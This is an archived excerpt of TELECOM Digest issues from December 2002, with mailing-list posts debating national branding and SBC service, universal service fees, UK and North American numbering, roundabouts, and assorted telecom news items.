a dream world; I said that through your work you live in a world where national branding IS a farce. But don't, by ANY means, extend that to all of business as a whole -- or even a majority of business. It's the rule in your world, but your world is the exception in the business world. The telecom world is a small, small piece of the business pie. You're seeing the world through telecom-colored glasses. It's time to take those glasses off and see the world for what it is, instead of what you seem to think it is. ------------------------------ From: Al Iverson Subject: Re: The Farce of National Branding Date: Sun, 15 Dec 2002 00:11:03 -0600 In article , John Higdon wrote: >> Quaker Oats (PepsiCo), Kellogg, Campbell Soup, Tastykake, Wrigley, >> Coca-Cola, Pepsi Cola (PepsiCo), Hershey, Del Monte, Heinz, Nabisco >> (part of Kraft), Kraft (part of Philip Morris), Philip Morris, Dole, >> Hormel, Anheuser-Busch, Adolph Coors, McCormick. > Those are all merely holding companies for many times that number of > ""national brands"", products that used to be made in factories owned by > the company named on the label, but now are made in generic plants > that make products for competing ""brands"" as well. How odd. Just to pick a few examples, say Pepsi, Coors, and Anheuser-Busch, it doesn't SEEM that they're made in ""generic plants"" where ""competing brands"" are made as well. Al Iverson -- http://www.radparker.com -- Minneapolis, Minnesota, USA Support Minnesota Jazz -- Disclaimer: All of my opinions are mine alone. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Sun, 15 Dec 2002 20:39:04 -0000 Organization: JustThe.net LLC Gail M. Hall wrote: >> In this case I don't think it matters. SBC took the original companies >> and turned them into crap, and everyone knows it was SBC that did it. >> I don't know about Pacbell, but Ameritech was fair-to-middling in the >> Customer Service department before ""We don't give a rat's ass about >> anyone"" SBC moved in. > Ameritech was already in trouble with the PUCO before SBC took them over. I didn't say they were good. Ameritech screwed the pooch when they laid off thousands of workers who actually had a clue. Remember Michael Kellner, an IT guy and middle manager who ended up on page one of the Plain Dealer's Metro section in a story about all of the layoffs? You probably don't. I do. Michael Kellner is the father of a close friend of mine. The interesting thing is that his son was dating the daughter of an Ameritech lineman -- I don't recall any of the linemen getting laid off, just the middle management. It hurt them, I think. They already sucked at that point. SBC made things much, much worse. I'm talking about working for an ISP and getting lots of nasty calls from customers thinking we were leaving town after the flaming idiots turned off all of our dialup lines -- all people got were messages that the lines were disconnected. I'm talking about being past due on a bill and calling to make payment arrangements, and being told that to avoid disconnection I had to pay the past due amount PLUS the amount on the CURRENT BILL that they had just mailed out TWO DAYS AGO that I hadn't even received yet! (They backed off after I yelled at them.) I'm talking about, this year, ordering Ameritech DSL (because I can't get my own DSL here; Ameritech is the only company offering it out of my CO) -- and having someone accidentally install a loop on our line -- a bridge tap - which caused so much static that not only was I without DSL, I couldn't make a voice call or receive a voice call! (As I mentioned to many people, it's a good thing I didn't have to call 911 at any time during the outage). Then I had to fight for credits to my account. SBC is finally getting a little better, and most of the front-line phone employees I talk to at the Ameritech Ohio office in Cleveland seem like they at least want to help. But it's too little, too late. My one-year committment to the DSL expires on 12/17, and Adelphia just started offering cablemodems here. I'm posting this over my cablemodem right now. DSL gets dumped first, then later in the week the Ameritech account gets switched to CoreComm. >>> Brand names today are meaningless. >> I disagree. > Eventually SBC may have to change its name to something more meaningful. Like ""We're a Bunch of Criminals, Inc.""? How about ""Anticompetitive, Monopolistic Scumbags & Co.""? > I wonder how long Jacobs Field will keep its name. (That's > Cleveland's baseball stadium.) When Mr. Jacobs is long gone and they > need new money for repairs or remodeling, they will probably give it a > new name the same way they did that college downtown whose name I > can't remember since they stopped calling it Dyke College. David N. Myers University. Dyke College was a much more fun name for people who like to make the obvious jokes about the name... :P Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ Reply-To: EM Handler From: EM Handler Subject: Re: Local Phone Service Inquiry by Reporter Organization: Prodigy Internet http://www.prodigy.com Date: Sun, 15 Dec 2002 01:19:49 GMT Try to contact Jack Bogle in Los Angeles, Santa Fe Springs --I think. He's an author/consultant of a couple books. Go to http://www.access-networking.com/auditbills.htm more details. I bought one of his books and it was very helpful. Barbara Correa wrote in message news:telecom22.180.1@telecom-digest.org: > I'm a reporter with the Los Angeles Daily News. I'm writing a story > about consumer telecom issues and where people can look for the best > deals in wireless and land line phone service. I'm looking for > Southern Californians to talk to about all kinds of phone service, saw > your message and thought you might be a good source. Give me a call at > 818.713.3634 or I can call if you send your number. I am on a > deadline, so sooner is better. > Thanks, > Barbara Correa > (barbara.correa@dailynews.com) ------------------------------ From: Joseph Subject: Re: Cell Phone Users to See Increase in Fees Date: Sat, 14 Dec 2002 17:43:54 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com In the article that Monty referred it says: > This percentage can be significantly higher than what the government > asks of the phone companies. For example, AT&T, the No. 1 > long-distance provider, charges residential wireline customers 11 > percent of their monthly long-distance total for the universal > service fee. Which is my major beef with so called USF charges. The LD companies such as AT&T see that because the government gives them permission to charge for USF they can charge any rate they like and if their revenues are down all they have to do is adjust up the USF rate that it will charge it's subscribers no matter that it may just be an arbitrary rate. Why does AT&T charge 11% while ECC might only charge 5%? Why? Probably because they can pretty much charge whatever they like and have no federal mandate that they pass along the actual amount that is due. The same probably goes for the surcharge the receiver of a toll-free call. The rate is only 30 cents or so, but carriers charge anywhere from 30 cents to 55 cents. Charge whatever the traffic will bear is what it appears. Replies are seldom read. Please reply in the group. ------------------------------ From: vm@gte.net (Vern) Subject: Re: Best Kid Safe Software Filter? Date: 14 Dec 2002 18:43:38 -0800 Organization: http://groups.google.com/ Dear Concerned Parent: The newest kid on the block, and in my opinion, the very BEST out there is 'PpGuard' from ParentPresent.org . It meets all your criteria (cleanest, simplest [kiss], reasonably priced). It works on a TrustFile principle: IF a requested address is in the TrustFile, kids can go there. If the requested URL is not in the TrustFile, parents can add it. PpGuard comes with a default TrustFile of ~1000 kid-safe Trusted Web Sites. Or you can build your own from scratch. Free Trial address is here: http://www.parentpresent.org/ppGuard/ppGuard-Help.htm Yes, it uninstalls clean too. Let us know how you make out........ ...Happy Parent coconut1@flex.com (Rudy) wrote in message news:: > A while back I checked out many of the kid safe (kidsafe and > kid-safe) internet filtering software for Internet Explorer. Some > are very large and complex, and costly. And after the Trial > install/uninstall, most leave remnants of themselves hanging around > my system. What's the latest, best (ie., cleanest, simplest > [kiss], reasonably priced) out there these days? Thanks in > advance! > ...Concerned Parent ------------------------------ From: OneNetNut Subject: Re: MCI Once Again Ripping Off Customers Date: Sun, 15 Dec 2002 00:21:27 -0600 On Fri, 13 Dec 2002 00:23:06 -0600, Michelle Spangler wrote: MCI is actually owned by WorldCon, not headquartered in Iowa. They do have a call center there, however. WorldCon is currently headquartered in Jackson, MS...but that will probably change to Northern Virginia. Wayne Huyard is the COO of the MCI arm of WorldCon. You can try sending him a note ... not sure what good it will do. Definitely file a complaint with the FCC and your state PUC, as well as your Better Business Bureau. Good luck. ------------------------------ From: OneNetNut Subject: Re: Hughes to Shut Down High-Speed Internet Service Date: Sun, 15 Dec 2002 00:23:41 -0600 Yep, they have a loving note on their website: http://www.directvdsl.com/ explaining why they are getting out of the DSL space (which I don't think they should have entered in the first place). On Fri, 13 Dec 2002 18:29:31 -0400, Monty Solomon wrote: > By Derek Caney > NEW YORK, Dec 13 (Reuters) - Hughes Electronics Corp. (NYSE:GMH), > the top U.S. satellite television operator, said on Friday it would > shut down its loss-making high-speed Internet business, three days > after it and No. 2 rival EchoStar Communications Corp. (NYSE:DISH) > pulled the plug on their proposed $18 billion merger. > DirecTV Broadband, which operates the DirecTV DSL service, had > 160,000 subscribers to its Internet service over telephone lines, but > the service was expecting to post a 2002 cash flow deficit of $110 > million to $120 million. > - http://finance.lycos.com/home/news/story.asp?story=30545436 ------------------------------ From: PaulCoxwell@aol.com Date: Sun, 15 Dec 2002 06:14:30 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World >> Re the policy that when places outgrow 6-digit numbering plans >> they'll go straight to 8 digits with 02x or 03x codes, when did >> this policy come into effect exactly? > In terms of implementation, 22nd April 2000. >> If this was to be the policy for future expansion, then why were >> Reading, Bristol, Nottingham, et al moved to 7-digit numbering >> with 011n codes instead of going straight to 8-digit local numbers? > Because they were implemented under the old, now discredited, policy. Which just goes to demonstrate the mess we got by changing policy so frequently. :( >> Maybe, but another practical reason is that when Ireland >> introduced toll-free numbers they were already using 080 >> as a kludge for dialing into Northern Ireland. > While they appeared to be using 080 for that purpose, they were only > using those parts of the number space that corresponded to the code > as dialled from within the UK. And as the prefix ""00"" was not used > in the UK for inland calls (it was the prefix for international calls > from 16 April 1995) then similarly the prefix 0800 was never required > for dialing into Northern Ireland from the Republic of Ireland! True for modern times, but as has been mentioned already, in the old network there *were* U.K. STD codes starting 00. I don't have an old list here, so I don't know if any such codes were actually used in N.I. I'm not sure when Ireland introduced 1800 (and 1850 etc.). Even though it was probably long after the British 00nx codes were phased out, there were still probably many exchanges in Eire that dropped into a N.I. trunk after dialing just 080, especially in small rural SxS offices that survived until quite recently. Paul Coxwell Norfolk, U.K. ------------------------------ From: Linc Madison Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Date: Sun, 15 Dec 2002 04:36:33 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Dr. Joel M. Hoffman wrote: > When I got my (pre-pay) phone from Verizon, I had my choice of any of > three reasonably local area-codes: 845/914/201. The cell companies > don't seem to care where your phone is or what your area code is. Unfortunately, the cellular companies don't always care where you WANT your number to be ""located."" It is not at all unusual for the cellular companies to issue a number in a rate center that is not local to the user, unless the user is very careful. In some cases, the cellco issues a number in the same area code, but in a completely different LATA. A friend of mine who lives north of Berkeley, CA, got a cellphone, and was issued a number in the Oakland/Trinidad rate center. The problem is, that made it a long distance call from downtown San Francisco, whereas a Berkeley or Oakland/Main number would be local. The customer service droid took a while to grasp that my friend cared about more than just the area code. > The days of LD-rates that varied with area-code are also long gone. Except where you cross state lines. For instance, if you expect to get any significant number of calls to the cellphone from upstate New York or downstate New Jersey, you might want to consider getting a number in the opposite state. (In-state rates are often much higher than state-to-state rates.) > I wonder how long it will be before we get rid of area codes that > reflect localities. As nearly as I can tell, only one benefit of > knowing where an area code is remains: you know what time zone the > number is in. The champion for most time zones in an area code was, and still is, 867 in northern Canada, although it has dropped from 5 time zones to only 3. When 867 was first created, it spanned Pacific, Mountain, Central, Eastern, and Atlantic. However, Nunavut decided to move its entire territory (originally spanning from Mountain to Atlantic) into the Central time zone. Thus, it is now true (officially, at least) that all of Yukon is Pacific, all of NWT is Mountain, and all of Nunavut is Central. (Some years ago, some or all of Yukon was in the Yukon time zone, an hour west of Pacific, but that ended long before 867 was created.) There are also about 20 (from a quick scan of the map) area codes in the US and Canada that are split between two time zones. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Danny Burstein Subject: Taxes and Transfers, was Re: Cell Phone Users to See Increase Date: Sun, 15 Dec 2002 00:40:50 UTC Organization: PANIX Public Access Internet and UNIX, NYC In Monty Solomon writes: > Cell phone subscribers will see their monthly bills go up next spring > because of changes in how the government charges phone companies to > underwrite services for rural areas and the poor. > The Federal Communications Commission decided Friday almost to double > the amount major wireless phone companies pay to the fund used to keep > phone connections affordable in low-income and high-cost areas. That > fund also helps connect schools and libraries to the Internet. Last time I checked, a pretty hefty amount of that money went to the ILEC in Puerto Rico. To quote from my post (which was from an AP article): > Big phone companies now get $207 million in federal subsidies to help > make local phone service affordable in high-cost areas in 19 states. > Of that, $130 million goes to the main phone company in Puerto Rico. > Alabama and California are two big recipients among the states. [a] So can anyone tell me where the current FCC breakdown is? And, BTW, did any of us in the general public vote for such a massive transfer payment to an ILEC? (And to follow up on my earlier comments: why is the Federal Gov't picking up, via national taxes, what are traditionally local responsibilities? Will they next tax us on our fuel oil so as to supply school buses with discount diesel?) Oh, and everyone realizes this is a tax which gets passed to us users, right? [a] the deja copy of my original post is at: http://groups.google.com/groups?selm=telecom19.495.5%40telecom-digest.org > - http://finance.lycos.com/home/news/story.asp?story=30549119 _____________________________________________________ Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ Reply-To: EM Handler From: EM Handler Subject: TelcoMgr Software Organization: Prodigy Internet http://www.prodigy.com Date: Sun, 15 Dec 2002 01:08:00 GMT Anyone have any experience using TelcoMgr from http://www.access-networking.com/telco_manager.htm ? I have six users who will need to be able to access telco records simultaneous. I have about 5,000 circuits to track. Access Networking Solutions, the publisher, is telling me that this should be ""no-problem."" I am just curious if anyone is using TelcoMgr with as much data that I have. Thanks in advance for your feed-back. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #186 ****************************** >From editor@telecom-digest.org Sun Dec 15 22:00:35 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBG30ZF23614; Sun, 15 Dec 2002 22:00:35 -0500 (EST) Date: Sun, 15 Dec 2002 22:00:35 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212160300.gBG30ZF23614@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #187 TELECOM Digest Sun, 15 Dec 2002 22:01:00 EST Volume 22 : Issue 187 Inside This Issue: Editor: Patrick A. Townson Re: The Farce of National Branding (John Higdon) Re: The Farce of National Branding (tonypo1@cox.net) Re: The Farce of National Branding (Steven J. Sobol) Programming Cell Phones (Monty Solomon) Verisign Invokes Security in Seeking U.S. Help (Monty Solomon) Top Notch Advisers Fail to Pull Off Satellite Merger (Monty Solomon) Re: Call Waiting Prison and Telemarketers (Geoffrey Welsh) Re: In a Roundabout Way (Bob Goudreau) Re: Taxes/Transfers, was Re: Cell Phone Users to See Increase (Ed Ellers) Re: 011+ From NANP vs. 00+ From Most of World (Phil McKerracher) ERN: Great Business-Plan Contest! (EntreSource) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Sun, 15 Dec 2002 14:49:27 -0800 In article , Al Iverson wrote: > How odd. Just to pick a few examples, say Pepsi, Coors, and > Anheuser-Busch, it doesn't SEEM that they're made in ""generic plants"" > where ""competing brands"" are made as well. But they are. The same bottling companies typically turn out many competing brands. They simply license the use of the name. Look at a soda can sometime. ""Under license from Coca Pepsi Corp (or whatever)..."" In article , sjsobol@JustThe.net (Steven J. Sobol) wrote: > SBC is finally getting a little better, and most of the front-line > phone employees I talk to at the Ameritech Ohio office in Cleveland > seem like they at least want to help. Oh, you have offices in your own region? PacBell, excuse me, SBC closed everything in California. I don't think it is possible to speak to anyone who isn't physically located in Texas. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: tonypo1@cox.net Subject: Re: The Farce of National Branding Organization: The Ace Tomatoe and Cement Company Date: Mon, 16 Dec 2002 01:18:05 GMT In article , no- spam@amadeus.kome.com says ... > A real (non-SBC) telco would see those potential country club customers > and install a fiber hut right in the middle of it and equip it with > DSLAMs. But, as all the field techs say to me now, ""SBC hates fiber."" > Too bad, since puting a fiber hut out there would improve the POTS > service as well. Just about everything around here is carried on fiber -- it's hard not to as there are also several hundreds of miles of dark fiber in the roads. Interoffice stuff is all fiber at this point but we won't see fiber to the curb until the rules change again. Seems that the RBOC's don't want to have to share that fiber with competitors and they're waiting for the legislature and FCC to close that little loophole. It's amusing watching the games that Verizon plays here in New England. For example, they want to hike the cutover charge for unbundled loop elements from around $40 to over $150. That'll pretty much cut the non- facilities based competitors out of the ring. Theodore Vail would be proud. > But as I read the SBC webpage, the company is only interested in making > its REAL customers (the shareholders) happy. The paying users of the > service are just a necessary evil. LOL - that and deregulation. I've been of the opinion that the pendulum is almost ready to swing in the other direction. Full regulation in return for regular profits. Tony ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Sun, 15 Dec 2002 21:36:36 -0000 Organization: JustThe.net LLC 'John Higdon' wrote: >> Coca-Cola? > What about the brands that Coca-Cola acquired? The original products are still made by Coca-Cola. 'John Higdon' then continued on: >> A&P (The Great Atlantic & Pacific Tea Company), Kroger, Walgreen's, >> Macy's, Sears. > A&P and Kroger are unknown here, so they are not national brands. Which > Macy's are you talking about (there are more than one)? A&P and Kroger are close enough. There are no Safeway stores in Cleveland either (no Krogers either, amazingly enough, considering that it's a Cincinnati company). But Safeway, A&P and Kroger are all major chains, Kroger being the largest IIRC. There *is* no truly nationwide grocery chain. Al Iverson also noted: > How odd. Just to pick a few examples, say Pepsi, Coors, and > Anheuser-Busch, it doesn't SEEM that they're made in ""generic plants"" > where ""competing brands"" are made as well. In fact, the AB breweries I've seen in Columbus, Ohio and St. Louis seem real enough. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! [TELECOM Digest Editor's Note: Back in the 1960's there used to be a wonderful brewery in Chicago which had a facility for the public as well. You could go in this one section and sit at tables to drink pitchers of beer and eat weinerschnitzel. A German name I do not remember; I wonder whatever happened to them. PAT] ------------------------------ Date: Sun, 15 Dec 2002 16:10:08 -0500 From: Monty Solomon Subject: Programming Cell Phones Colin Fahey's J2ME Cell Phone Experience INTRODUCTION This page describes how I successfully created and dowloaded my own program to my cell phone, over the air (OTA), through my own WWW site, without paying for anything more than ""air time"" and ""data transfer"" (both monthly flat rates). http://www.colinfahey.com/2002dec14_j2me_cell_phone/j2me_phone_apps.htm ------------------------------ Date: Sun, 15 Dec 2002 16:14:34 -0500 From: Monty Solomon Subject: Verisign Invokes Security in Seeking U.S. Help - Dec 15, 2002 12:48 PM (AP Online) The Bush administration sped approval for moving one of the Internet's 13 traffic-management computers after a prominent technology company urged the government to ""declare some kind of national security threat and blow past the process,"" according to federal officials' e-mails. The correspondence provides a window into how U.S. corporations invoke national security to expedite business requests. In this case, the Commerce Department approved in just two days Verisign Inc.'s request at the end of October to move one of the 13 computer servers that manage global Internet traffic. Verisign operates two of the world's ""root servers,"" which contain lists of directories that control e-mail delivery and Web surfing. - http://finance.lycos.com/home/news/story.asp?story=30560563 ------------------------------ Date: Sun, 15 Dec 2002 16:17:44 -0500 From: Monty Solomon Subject: Top Notch Advisers Fail to Pull Off Satellite Merger By Arindam Nag NEW YORK, Dec 15 (Reuters) - A series of subtle miscalculations by the top notch team of advisors hired by Hughes Electronics and EchoStar Communications Corp. (NASDAQ:DISH) played a key role in the failure of the satellite TV mega-merger this week, industry watchers say. Hughes, owned by General Motors Corp. (NYSE:GM), and EchoStar spent tens of millions of dollars in legal fees on hundreds of anti-trust lawyers and staff to cajole authorities in Washington to approve the $18 billion deal. The marriage would have combined Hughes' DirecTV with EchoStar's DISH network, but 15 months of efforts finally came to nought this week when both parties agreed to break it off in the face of stiff opposition from authorities. - http://finance.lycos.com/home/news/story.asp?story=30560930 ------------------------------ From: Geoffrey Welsh Subject: Re: Call Waiting Prison and Telemarketers Date: Sun, 15 Dec 2002 16:21:00 -0500 Organization: Bell Sympatico Gail M. Hall wrote: > Can't you punch a key or something to cause the Call Waiting beeps to > stop and give the caller a busy signal so it would let you go on with > your long-distance calls uninterrupted? > I've been on the paying end of long-distance calls, and INVARIABLY if > that other call beep comes in I get the ""Oh, there's another call > coming in. I'll be right back."" I once saw a comedian (I wish I could remember his name) say something like: Once upon a time, if you called someone and they were on the phone, you got a busy signal ... you'd say to yourself, ""he's on the phone, I'll call back later."" Now, thanks to call waiting, your call rings through; he interrupts his current conversation to answer your call, tell you he was already on the phone, and could you please call him back later. Where would we be without this new technology?!? [TELECOM Digest Editor's Note: I wonder if it occurs to some of these 'comedians' that occassionally two people are chatting about nothing in particular and occassionally an important call may come in for one or the other of them and they will wish to yeild their aimless conver- sation in order to receive the important call? PAT] ------------------------------ From: Bob Goudreau Subject: Re: In a Roundabout Way Date: Sun, 15 Dec 2002 17:45:49 -0500 > What no one has mentioned in discussing the comparative mertits of > roundabouts versus stop-lights is the adaptive nature of the former > over the latter. When traffic is light (the majority of time) > roundabouts are superior. Yes, but scaling in the other direction tips the advantage the other way, in favor of signalized intersections. You'll have to trust me on this one, as I grew up in Massachusetts, probably the most traffic-circle-intensive state in the country, although they are known as ""rotaries"" (as in ""rotary traffic"") in the local vernacular. (Ironic sidebar: I read somewhere that the term ""roundabout"" also turns out to be an American coinage; the guy who apparently first popularized the term was a Yank working for the BBC in Britain many decades ago.) Roundabouts work pretty well when the roads feeding into it all have no more than one lane, but when one (or especially all) of the feeder roads are major roads carrying two or more lanes in each direction, the circle becomes a bottleneck. If the circle itself has only one lane of rotary traffic, then that obviously becomes the point of single-threading. But multi-lane circles aren't much better, because any car that wishes to enter or exit one of the interior circular lanes must obviously cut across the path of traffic on the circular lanes outside it. So the outermost circular lane once again becomes the ""hot spot"" of traffic. And of course, fun with fender benders tends to ensue due to all the merging in and out of the inner lanes, especially if a driver is deeply engrossed on the phone :-(. Bob Goudreau Cary, NC ------------------------------ From: Ed Ellers Subject: Re: Taxes and Transfers, was Re: Cell Phone Users to See Increase Date: Sun, 15 Dec 2002 19:29:31 -0500 Danny Burstein wrote: > And, BTW, did any of us in the general public vote for such a massive > transfer payment to an ILEC? Somewhat beside the point, because there aren't referenda at the Federal level -- we only vote for Representatives and Senators, and for Presidential electors. > And to follow up on my earlier comments: why is the Federal Gov't picking > up, via national taxes, what are traditionally local responsibilities? Because Congress can get away with it, and can sway voters by doing so. > Oh, and everyone realizes this is a tax which gets passed to us users, > right? That's an interesting point -- during the Clinton Administration the FCC discouraged carriers from itemizing the USF or e-rate charges on bills, and IIRC threatened to cite carriers who did for misleading their customers (since it is the carrier, not the customer, who is liable for the fees). ------------------------------ From: Phil McKerracher Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Sun, 15 Dec 2002 23:28:33 GMT Organization: blueyonder (post doesn't reflect views of blueyonder) Linc Madison wrote in message news:telecom22.173.2@telecom-digest.org: > In article , Phil McKerracher > wrote: >>> hard time coping with more mundane, and possibly risky situations, >>> such as learning who has priority at a 4-way stop sign ... >> Exactly! Another unnecessary, expensive and in this case dangerous >> difference. > No, it isn't ""unnecessary,"" nor is it ""expensive,"" nor is it > ""dangerous""! > Changing our four-way stops to traffic circles -- *THAT* would be > unnecessary, expensive, and extremely dangerous!! ... I wasn't criticising the American system, I was criticising the *difference*. > ...For that matter, when is the U.K. going to change over to the > international standard that says that you drive on the right... I agree! It has been seriously discussed (and of course Sweden did). I wouldn't describe either as an ""international standard"" though, since there is a fairly even balance between left and right countries worldwide. We're off topic though. By ""international standard"" I mean one that is accepted by the great majority of countries, not just more than one. > ...In any case, if you want to talk about American arrogance in rejecting > a legitimate international standard, let's talk about the Metric > System ... Don't get me started! Off topic again, though. Phil McKerracher www.mckerracher.org ------------------------------ From: EntreSource Subject: ERN: Great Business-Plan Contest! Date: Sun, 15 Dec 2002 16:29:49 -0800 Reply-To: EntreSource [TELECOM Digest Editor's Note: Although this is not of much interest to me, it may be perfect for someone who has the 'perfect solution' to various telecom software tasks or the 'why doesn't someone invent this?' type of telecom device. And Berkeley is a fine school; a perfect place for such a contest. PAT] This is not an ERN event, but it's hot so I wanted to pass it on. The 5th Annual UC Berkeley Business Plan Competition is underway. Why enter? Your company may get funded! Details follow below in their notice of the competition. Regards, --Bruce ************************************** Got a great idea for a new business? Enter the 5th Annual UC Berkeley Business Plan Competition! But don't miss your chance to make it a reality! Key deadlines are just around the corner, so read on and find out how to enter and win this year's competition! How do I register for the Competition? Register your team today on the competition website at http://bplan.berkeley.edu All entering teams MUST submit an Executive Summary of their business plan by January 24th, 2003. This mandatory deadline will be here faster than you think! Why should I enter the Competition? Now in its fifth year, the Competition has helped aspiring entrepreneurs raise over $120 million in venture capital financing. Teams will compete in the Spring for thousands of dollars in cash prizes and receive coveted exposure to VC firms. Beyond the prize money and VC connections, the Competition is a great opportunity to meet new people and explore promising business ideas. What do VC's have to say about the Competition? Bob Ackerman, Managing Director and co-founder of Allegis, one of the competition's largest sponsors: ""The venture business is driven by the successful combination of technical innovation and entrepreneurial excellence. The UC Berkeley Business Plan Competition uniquely combines the creative outputs of one the world's leading research centers with pragmatic business planning. The Competition is focused on real businesses. This is not an intellectual exercise."" Samir Ajmera of TechStock Ventures, a newly formed venture capital firm specializing in seed and early-stage investments in technology and life science industries: ""UC Berkeley has long been known for its excellent quality of students and its commitment to entrepreneurship. We hope to support this tradition by helping the participating teams build a strong foundation for their companies."" Venture firms involved in the competition over the years include Allegis Capital, ComVentures, Sevin Rosen Funds, Versant Ventures, Onset Ventures, Sequoia Capital, Intel Capital, Newbury Ventures, Crosby, Heafey, Roach & May, Quimbik, Fenwick and West, 21 VC Partners, Mayfield, and The Price Institute for Entrepreneurial Studies. Where do I go to find that winning idea? Sign up for the entrepreneur's exchange on the http://bplan.berkeley.edu website. Join the Entrepreneur's Association and hear about fall mixers and activities at http://groups.haas.berkeley.edu/ea Join the Biotech club to get in touch with UC Berkeley and UCSF life sciences students at http://groups.haas.berkeley.edu/haasbio Tap into Vertex, the engineering student network. Check out http://Vertex.eecs.berkeley.edu Attend the monthly Berkeley Entrepreneurs Forum at Haas. Where can I find resources on how to write a business plan? Attend our upcoming workshops! Watch the website for upcoming workshop dates and times. Download presentations and materials from previous workshops on http://bplan.berkeley.edu . E.g. Kim Fisher's (managing director of Women's Technology Cluster) presentation from the 2001 Business Plan Basics workshop. Loaded with great resources! Learn the 10 key components of a business plan. Check out www.growthink.com/flash/resources. Check out www.drapervc.com/resources for suggestions on what top VCs look for in a business plan. Use the US Small Business Administration to your advantage; check out their list of on-line courses for writing business plans at www.sbaonline.sba.gov/classroom/courses.html Use the Lester Center for Entrepreneurship & Innovation a wealth of information resides on the 4th floor of the faculty building at Haas. There are links to numerous resources to get you started go to http://bplan.berkeley.edu under the tab resource center click on 'the web' and begin surfing! How do I get help if I have a question? Contact us by email at bplan@haas.berkeley.edu or visit the website at http://bplan.berkeley.edu ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #187 ****************************** >From editor@telecom-digest.org Mon Dec 16 13:52:10 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBGIqAf11952; Mon, 16 Dec 2002 13:52:10 -0500 (EST) Date: Mon, 16 Dec 2002 13:52:10 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212161852.gBGIqAf11952@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #188 TELECOM Digest Mon, 16 Dec 2002 13:51:00 EST Volume 22 : Issue 188 Inside This Issue: Editor: Patrick A. Townson Telecom Update (Canada) #362, December 16, 2002 (Angus TeleManagement) Loop Ownership (was Re: The Farce of National Branding) (Fred Goldstein) Re: Ten TLD's (H. Peter Anvin) Re: Taxes/Transfers, was Re: Cell Phone Users to See Increase (J. Levine) Re: The Farce of National Branding (John R. Levine) Last Laugh! Black Christmas Lights (Neal McLain) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 16 Dec 2002 11:16:18 -0500 From: Angus TeleManagement Subject: Telecom Update (Canada) #362, December 16, 2002 ************************************************************ TELECOM UPDATE ************************************************************ published weekly by Angus TeleManagement Group http://www.angustel.ca Number 362: December 16, 2002 Publication of Telecom Update is made possible by generous financial support from: ** BELL CANADA: http://www.bell.ca ** CISCO SYSTEMS CANADA: http://www.cisco.com/ca/letstalk ** CYGCOM INTEGRATED TECHNOLOGIES: http://www.cygcom.com ** ERICSSON CANADA: http://www.ericsson.ca ** JUNIPER NETWORKS: http://www.juniper.net ** PRIMUS CANADA: http://www.primustel.ca ** Q9 NETWORKS: http://www.Q9.com ** TELUS: http://www.telus.com ************************************************************ IN THIS ISSUE: ** CRTC Reins in Telco Affiliates ** Nortel Names Enterprise President ** Mitel Gets $60 Million From Ottawa ** Competition Commissioner Opposes Ownership Caps ** Microcell Lays Off 6% ** Bell Tests Public Wi-Fi Hotspots ** More Comments on AT&T Petition ** Look Opposes Videotron 